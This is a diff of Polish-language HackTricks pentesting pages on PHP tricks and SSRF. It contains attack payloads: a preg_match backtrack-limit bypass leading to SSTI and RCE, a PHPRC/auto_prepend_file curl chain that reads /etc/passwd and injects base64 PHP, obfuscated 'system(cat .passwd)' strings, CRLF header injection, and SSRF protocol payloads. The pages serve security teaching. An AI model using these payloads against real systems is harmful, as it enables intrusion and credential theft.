Jeśli możesz przesłać do `preg_match()` **bardzo duży poprawny input**, nie będzie w stanie go przetworzyć i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz wysłać:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -120,13 +122,13 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP bazują na [bibliotece PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane poprzez dużą liczbę wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na bibliotece [PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane za pomocą wielu rekurencyjnych wywołań, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
[Wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:\
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, iż nasze dane wejściowe nie są złośliwe, rzucając niespodziankę na końcu ładunku w postaci czegoś w stylu `{system(<bardzozłepolecenie>)}` aby uzyskać SSTI --> RCE --> flaga :)**.
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, iż nasze dane wejściowe nie są złośliwe, a na końcu ładując coś w stylu `{system(<bardzozłaźliczba>)}` aby uzyskać SSTI --> RCE --> flag :)**.
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", które, jak podaje [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynoszą 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
Aby to osiągnąć, `'X'*500_001` spowoduje wykonanie 1 miliona kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -153,7 +155,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Wykorzystanie Traversal Path i Inkluzji Plików
## Wykorzystanie Traversal ścieżki i włączenie pliku
Sprawdź:
@ -163,16 +165,16 @@ Sprawdź:
## Więcej sztuczek
* **register\_globals**: W **PHP < 4.1.1.1** lub gdy jest błędnie skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param**. Dlatego wysyłając parametry HTTP, można nadpisać zmienne używane w kodzie.
* **Ciasteczka PHPSESSION z tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można spowodować, że ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2**. Następnie ścieżka 2 uzna zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą jej w ścieżce 2).
* **register\_globals**: W **PHP < 4.1.1.1** lub jeśli jest błędnie skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne**, które są używane w kodzie.
* **Ciasteczka PHPSESSION z tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można sprawić, że ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.\
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2**. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą jej w ścieżce 2).
* Gdy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>** aby zobaczyć, czy katalogi php są aktywowane.
* [**LFI i RCE za pomocą php wrappers**](../../../pentesting-web/file-inclusion/)
* [**LFI i RCE za pomocą opakowań php**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Te funkcje są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z haszem.\
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT.** Obecnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zahaszować coś większego niż 72 bajty tym algorytmem, użyte zostaną tylko pierwsze 72B:
Te funkcje są zazwyczaj używane w PHP do **generowania skrótów z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu ze skrótem.\
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT.** Aktualnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz utworzyć skrót czegoś większego niż 72 bajty tym algorytmem, użyte zostanie tylko pierwsze 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -182,11 +184,11 @@ True
```
### Bypassowanie nagłówków HTTP poprzez nadużycie błędów PHP
#### Spowodowanie błędu po ustawieniu nagłówków
#### Wywołanie błędu po ustawieniu nagłówków
Z [**tego wątku na Twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) można zobaczyć, że wysłanie więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików spowoduje, że PHP nie będzie ustawiał nagłówków w odpowiedzi.
Pozwalając na obejście na przykład ustawiania nagłówków CSP w kodach takich jak:
Pozwala to na ominięcie na przykład ustawiania nagłówków CSP w kodach takich jak:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -194,18 +196,26 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Wypełnianie treści przed ustawieniem nagłówków
Jeśli **strona w PHP drukuje błędy i echo z powrotem pewne dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP wydrukuje pewne **treści wystarczająco długie**, aby kiedy spróbuje **dodać nagłówki** do odpowiedzi, serwer zwróci błąd.\
W następującym scenariuszu **atakujący sprawił, że serwer zwrócił kilka dużych błędów**, i jak widać na ekranie, kiedy PHP spróbowało **zmodyfikować informacje nagłówka, nie mogło** (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
Jeśli **strona w PHP drukuje błędy i echo z powrotem pewne dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP wydrukuje trochę **treści wystarczająco długiej**, aby kiedy spróbuje **dodać nagłówki** do odpowiedzi, serwer zwróci błąd.\
W następującym scenariuszu **atakujący sprawił, że serwer zwrócił duże błędy**, i jak widać na ekranie, kiedy PHP spróbowało **zmodyfikować informacje nagłówka, nie mogło** (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
![](<../../../.gitbook/assets/image (1085).png>)
## SSRF w funkcjach PHP
Sprawdź stronę:
{% content-ref url="php-ssrf.md" %}
[php-ssrf.md](php-ssrf.md)
{% endcontent-ref %}
## Wykonanie kodu
**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**
[Sprawdź to dla bardziej przydatnych funkcji w PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
[Sprawdź to dla bardziej przydatnych funkcji PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **RCE za pomocą** **preg\_replace()**
```php
@ -259,28 +269,36 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
Możesz również użyć **//** aby zakomentować resztę kodu.
Aby odkryć liczbę nawiasów, które musisz zamknąć:
- `?order=id;}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ';'`). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
- `?order=id);}//`: otrzymujemy **ostrzeżenie**. Wygląda na to, że jest to prawidłowe.
- `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy za dużo zamykających nawiasów.
### **RCE za pośrednictwem .httaccess**
Jeśli możesz **załadować** plik **.htaccess**, to możesz **skonfigurować** kilka rzeczy i nawet wykonać kod (konfigurując pliki z rozszerzeniem .htaccess, aby mogły być **wykonywane**).
Jeśli możesz **załadować** plik **.htaccess**, możesz **skonfigurować** kilka rzeczy, a nawet wykonać kod (konfigurując pliki z rozszerzeniem .htaccess do **wykonywania**).
Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul/htshells)
### RCE za pośrednictwem zmiennych środowiskowych
Jeśli znajdziesz podatność, która pozwala Ci **modyfikować zmienne środowiskowe w PHP** (i inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to być obejścione), możesz wykorzystać to zachowanie do uzyskania **RCE**.
Jeśli znajdziesz podatność, która pozwala Ci **modyfikować zmienne środowiskowe w PHP** (oraz inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać zabezpieczone), możesz wykorzystać to zachowanie do uzyskania **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).
* **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać swój własny plik konfiguracyjny, użyj `PHPRC` aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).
- **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać swój własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
1. Wgraj plik PHP zawierający nasz kod powłoki
2. Wgraj drugi plik zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku, który wgraliśmy w kroku 1
3. Ustaw zmienną `PHPRC` na plik, który wgraliśmy w kroku 2.
* Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - kolejna opcja
* Jeśli **nie możesz wgrywać plików**, możesz użyć w FreeBSD pliku "file" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w base64**:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Technika [**z tego raportu**](https://vulncheck.com/blog/juniper-cve-2023-36845).
2. Wgraj drugi plik, zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1
3. Ustaw zmienną `PHPRC` na plik wgrany w kroku 2.
- Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - kolejna opcja
- Jeśli **nie możesz wgrywać plików**, możesz użyć w FreeBSD pliku "file" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w formacie base64**:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- Technika [**z tego raportu**](https://vulncheck.com/blog/juniper-cve-2023-36845).
## Analiza statyczna PHP
@ -292,17 +310,17 @@ $_COOKIE | if #This mea
```
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w `/etc/php5/apache2/php.ini`, dodając `display_errors = On` i zrestartować apache: `sudo systemctl restart apache2`
### Odszyfrowywanie kodu PHP
### Deobfuskacja kodu PHP
Możesz użyć **strony internetowej** [**www.unphp.net**](http://www.unphp.net) **do odszyfrowania kodu PHP.**
Możesz użyć **strony internetowej** [**www.unphp.net**](http://www.unphp.net) **do deobfuskacji kodu PHP.**
## Owińce i protokoły PHP
## PHP Wrappery i Protokoły
Owińce i protokoły PHP mogą pozwolić Ci **obejść zabezpieczenia zapisu i odczytu** w systemie i go skompromitować. Aby uzyskać [**więcej informacji, sprawdź tę stronę**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
Wrappery i protokoły PHP mogą pozwolić Ci **obejść zabezpieczenia zapisu i odczytu** w systemie i go skompromitować. Aby uzyskać [**więcej informacji, sprawdź tę stronę**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug nieuwierzytelniona RCE
Jeśli zauważysz, że **Xdebug** jest **włączony** w wyniku `phpconfig()`, powinieneś spróbować uzyskać RCE za pomocą [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
Jeśli zobaczysz, że **Xdebug** jest **włączony** w wyniku `phpconfig()`, powinieneś spróbować uzyskać RCE za pomocą [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Zmienne zmiennych
```php
@ -318,7 +336,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE wykorzystujące nowe $\_GET\["a"]\($\_GET\["b"])
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -333,8 +351,6 @@ Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzys
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
XOR (exclusive OR) to operacja logiczna, która zwraca prawdę tylko wtedy, gdy oba argumenty są różne. W kontekście hakowania XOR jest często wykorzystywany do szyfrowania danych lub do manipulacji wartościami bitowymi.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -427,10 +443,10 @@ $___($_[_]); // ASSERT($_POST[_]);
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -31,9 +31,23 @@ fopen("http://127.0.0.1:8081", "r");
file("http://127.0.0.1:8081");
md5_file("http://127.0.0.1:8081");
```
### Wordpress SSRF za pomocą DNS Rebinding
Jak [**wyjaśniono w tym wpisie na blogu**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), nawet funkcja Wordpress **`wp_safe_remote_get`** jest podatna na DNS rebinding, co czyni ją potencjalnie podatną na ataki SSRF. Główną walidację, którą wywołuje, jest **wp\_http\_validate\_ur**l, która sprawdza, czy protokół to `http://` lub `https://` oraz czy port to jeden z **80**, **443** i **8080**, ale jest **podatna na DNS rebinding**.
Inne podatne funkcje według tego wpisu to:
- `wp_safe_remote_request()`
- `wp_safe_remote_post()`
- `wp_safe_remote_head()`
- `WP_REST_URL_Details_Controller::get_remote_url()`
- `download_url()`
- `wp_remote_fopen()`
- `WP_oEmbed::discover()`
### CRLF
Co więcej, w niektórych przypadkach może nawet być możliwe wysłanie dowolnych nagłówków za pomocą "luki" CRLF w poprzednich funkcjach:
Co więcej, w niektórych przypadkach może nawet być możliwe wysłanie dowolnych nagłówków za pomocą "luki" CRLF w powyższych funkcjach:
```php
# The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT"
@ -70,14 +84,13 @@ $file = file_get_contents($url, false, $context);
```
**Grupa Try Hard Security**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:

View file

@ -3,7 +3,7 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Użyj [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
@ -18,7 +18,7 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -28,7 +28,7 @@ Podatność na **Server-side Request Forgery (SSRF)** występuje, gdy atakujący
## Przechwytywanie SSRF
Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez ciebie. Do przechwycenia interakcji HTTP lub DNS możesz użyć narzędzi takich jak:
Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez ciebie. Do przechwytywania interakcji HTTP lub DNS możesz użyć narzędzi takich jak:
* **Burp Collaborator**
* [**pingb**](http://pingb.in)
@ -38,7 +38,7 @@ Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wy
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator z użyciem ngrok
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator korzystający z ngrok
## Ominięcie białej listy domen
@ -50,7 +50,7 @@ Zazwyczaj okaże się, że SSRF działa tylko w **określonych domenach** lub ad
### Ominięcie za pomocą przekierowania otwartego
Jeśli serwer jest odpowiednio zabezpieczony, możesz **ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej**. Ponieważ strona internetowa pozwoli na **SSRF do tej samej domeny** i prawdopodobnie będzie **przekierowywać żądania**, możesz wykorzystać **przekierowanie otwarte, aby zmusić serwer do uzyskania dostępu do dowolnego zasobu wewnętrznego**.\
Jeśli serwer jest odpowiednio zabezpieczony, możesz **ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej**. Ponieważ strona internetowa pozwoli na **SSRF do tej samej domeny** i prawdopodobnie będzie **przekierowywać żądania**, możesz wykorzystać **przekierowanie otwarte, aby sprawić, że serwer uzyska dostęp do dowolnego zasobu wewnętrznego**.\
Czytaj więcej tutaj: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protokoły
@ -58,15 +58,15 @@ Czytaj więcej tutaj: [https://portswigger.net/web-security/ssrf](https://portsw
* **file://**
* Schemat URL `file://` odnosi się bezpośrednio do `/etc/passwd`: `file:///etc/passwd`
* **dict://**
* Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL kierujący się do określonego słowa, bazy danych i numeru wpisu, a także potencjalne nadużycie skryptu PHP do połączenia z serwerem DICT za pomocą dostarczonych przez atakującego danych uwierzytelniających: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL kierujący się do określonego słowa, bazy danych i numeru wpisu, a także potencjalne nadużycie skryptu PHP do połączenia z serwerem DICT za pomocą dostarczonych przez atakującego poświadczeń: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Zidentyfikowany jako protokół do bezpiecznego transferu plików za pomocą secure shell, podano przykład, jak skrypt PHP może być wykorzystany do połączenia z złośliwym serwerem SFTP: `url=sftp://generic.com:11111/`
* Zidentyfikowany jako protokół do bezpiecznego transferu plików za pomocą protokołu Secure Shell, podano przykład, jak skrypt PHP mógłby zostać wykorzystany do połączenia z złośliwym serwerem SFTP: `url=sftp://generic.com:11111/`
* **TFTP://**
* Protokół Trivial File Transfer Protocol, działający w trybie UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysłania żądania do serwera TFTP. Wysyłane jest żądanie TFTP do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacyjnych katalogów w sieciach IP. Komunikacja z serwerem LDAP na localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i dostępu do rozproszonych usług informacyjnych katalogów przez sieci IP. Komunikacja z serwerem LDAP na localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* Opisana jest metoda wykorzystania podatności SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen i dalsze działania śledcze na podstawie tych informacji.
* Opisano metodę wykorzystania podatności SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen i dalsze działania śledcze na podstawie tych informacji.
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
@ -75,7 +75,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect
```
* **Curl URL globbing - bypass WAF**
* Jeśli SSRF jest wykonywane przez **curl**, curl posiada funkcję o nazwie [**URL globbing**](https://everything.curl.dev/cmdline/globbing), która może być przydatna do ominięcia WAFów. Na przykład w tym [**opisie**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) znajdziesz ten przykład **przechodzenia ścieżek za pomocą protokołu `file`**:
* Jeśli SSRF jest wykonywane przez **curl**, curl posiada funkcję o nazwie [**URL globbing**](https://everything.curl.dev/cmdline/globbing), która może być przydatna do ominięcia WAFów. Na przykład w tym [**opisie**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) znajdziesz przykład **przechodzenia ścieżek za pomocą protokołu `file`**:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
@ -134,7 +134,7 @@ Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer,
## SSRF za pośrednictwem danych SNI z certyfikatu
Konfiguracja błędu, która umożliwia połączenie z dowolnym backendem poprzez prosty setup, jest zilustrowana na przykładzie konfiguracji Nginx:
Konfiguracja, która mogłaby umożliwić połączenie z dowolnym backendem poprzez prosty setup, jest zilustrowana na przykładzie konfiguracji Nginx:
```
stream {
server {
@ -145,11 +145,11 @@ ssl_preread on;
}
}
```
W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Taka konfiguracja naraża na podatność na Forgery żądania po stronie serwera (SSRF), którą można wykorzystać, po prostu określając pożądany adres IP lub nazwę domeny w polu SNI. Poniżej podano przykład wykorzystania, aby wymusić połączenie z dowolnym backendem, takim jak `internal.host.com`, za pomocą polecenia `openssl`:
